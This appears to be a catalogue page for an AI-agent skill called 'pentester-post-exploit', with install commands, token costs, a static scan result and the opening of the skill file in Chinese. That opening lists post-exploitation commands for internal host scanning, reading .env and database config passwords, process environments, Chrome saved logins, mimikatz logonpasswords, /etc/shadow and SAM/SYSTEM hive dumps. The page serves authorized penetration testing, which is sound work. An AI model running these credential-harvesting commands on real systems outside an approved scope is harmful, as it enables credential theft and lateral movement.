pentester-post-exploit

A post-exploitation guide for authorized security tests after initial access has been obtained. It covers understanding the environment, finding internal systems, and checking for credentials or higher privileges.

In plain words
What is it for?
Checking permissions, detecting containers, reviewing processes and network routes, discovering internal hosts and services, finding configuration credentials, and assessing lateral movement or privilege escalation.
Why use it?
It provides a structured way to assess what the compromised account or machine can reach, while limiting activity to the approved scope.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/fb0sh/pentester/pentester-post-exploit
Any agent
npx skills add fb0sh/pentester --skill pentester-post-exploit
Clone the repo
git clone --depth 1 https://github.com/fb0sh/pentester

Made for: Claude Code, Codex.

Per session 57 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,639 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00057 $0.01639
Opus 5 $0.00028 $0.00820
Sonnet 5 $0.00011 $0.00328
Haiku 4.5 $0.00006 $0.00164

Measured yesterday against content hash 64ada6f03147, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

pentester-post-exploit scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /etc/shadow

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

.agents/skills/pentester-post-exploit/SKILL.md · 252 lines

How it starts

The opening of the file, as written. The whole thing — 252 lines — stays where its author put it; the contents beside it link to each section on GitHub.

后渗透 Skill

Procedure: .agents/phases/05-post-exploitation.md Schema: phase 5 in schema.json

在已获取初始访问权限后,进行内网信息收集和横向移动。

1. 环境确认

确认当前权限级别和运行环境。

权限确认

# Linux
id
whoami
sudo -l
cat /etc/passwd | grep $(whoami)

# Windows
whoami /all
net user
net localgroup administrators

容器检测

# Linux 容器特征
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
cat /proc/self/mountinfo | grep overlay

# 进程检查
ps aux | grep -i docker

网络配置

# Linux
ip addr
ip route
cat /etc/resolv.conf
cat /etc/hosts

# Windows
ipconfig /all
route print

2. 内网信息收集

网段发现

# Linux
cat /proc/net/route
ip route
arp -a

# Windows
ipconfig /all
route print
arp -a

主机发现

# 快速扫描本地网段
nmap -sn 192.168.1.0/24

# ARP 扫描
arp-scan -l

# ICMP 扫描
fping -a -g 192.168.1.0/24 2>/dev/null

服务探测

# 发现主机后探测服务
nmap -sV -p 22,80,443,3306,3389,8080 192.168.1.0/24

# 识别操作系统
nmap -O 192.168.1.0/24

数据库连接配置

# 常见配置文件位置
cat /var/www/html/wp-config.php
cat /var/www/html/.env
cat /etc/mysql/debian.cnf
cat /opt/*/config/database.yml

# Windows
type C:\inetpub\wwwroot\web.config
dir /s /b *.config 2>nul

3. 凭据收集

配置文件凭据

# Linux
grep -r "password" /var/www/ 2>/dev/null
grep -r "DB_PASSWORD" /var/www/ 2>/dev/null
cat /var/www/html/.env
cat /etc/mysql/debian.cnf
cat /root/.bash_history | grep -i pass

# Windows
type C:\Windows\System32\drivers\etc\hosts
dir /s /b *pass* 2>nul
dir /s /b *cred* 2>nul

环境变量

# Linux
env
cat /proc/*/environ 2>/dev/null | tr '\0' '\n'

# Windows
set

浏览器凭据

# Chrome (Linux)
cat ~/.config/google-chrome/Default/Login\ Data 2>/dev/null

# Chrome (Windows)
type %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login\ Data

内存凭据

# Linux
strings /dev/mem -n 8 2>/dev/null | grep -i pass

# mimikatz (Windows)
# 需要管理员权限
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

密码哈希

# Linux
cat /etc/shadow
cat /etc/gshadow

# Windows
# 需要管理员权限
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
# 离线解密

Read the full file on GitHub · 252 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 252 lines · 57 tokens per session scan B 64ada6f03147

Subscribe to this mod's changes

pentester-post-exploit is a skill published in the GitHub repository fb0sh/pentester (23 stars, last pushed 1mo ago), licensed MIT. It adds 57 tokens to every session and 1,639 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 1 finding (reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

transilience-report-style

Threat Intelligence Report Design System — ReportLab-based PDF generation for A4 reports with Transilience branding, typography, and layout standards.

transilienceai/communitytools · 31 tokens

firewall-review

Evidence-safe firewall ruleset audit reference specification — 22 documented detector patterns (17 vendor-agnostic plus 5 FortiGate-specific), a 15-check semantic catalogue, CIS Fortinet FortiGate Benchmark guidance, a custom customer-policy benchmark, and consolidated network-team Excel profiles including grouped…

transilienceai/communitytools · 100 tokens

pentest-engagement

Run a professional penetration engagement OR a network vulnerability scan from a scope. WEB mode (apex domains / app URLs) — mandatory surface expansion, systematic OWASP attack-class coverage, reversible active exploitation, authoritative validation, Transilience PDF. NETWORK mode (a list of IPs/CIDRs, e.g. 1500…

transilienceai/communitytools · 140 tokens

coordination

Pentest coordination — orchestrates executor and validator agents with context-controlled spawning. Entry point for all engagements.

transilienceai/communitytools · 24 tokens

hackerone

HackerOne bug bounty automation - parses scope CSVs, deploys parallel pentesting agents per asset, validates PoCs, and generates platform-ready submission reports.

transilienceai/communitytools · 36 tokens

pci-secure-software

Automated PCI Secure Software Standard (SSS) v2.0 readiness gap-assessment of an application from its source code and documentation. Deterministically enumerates every applicable Test Requirement from a pinned catalog, gathers source/doc evidence, and emits an evidence-bound per-requirement verdict (MET / NOTMET /…

transilienceai/communitytools · 162 tokens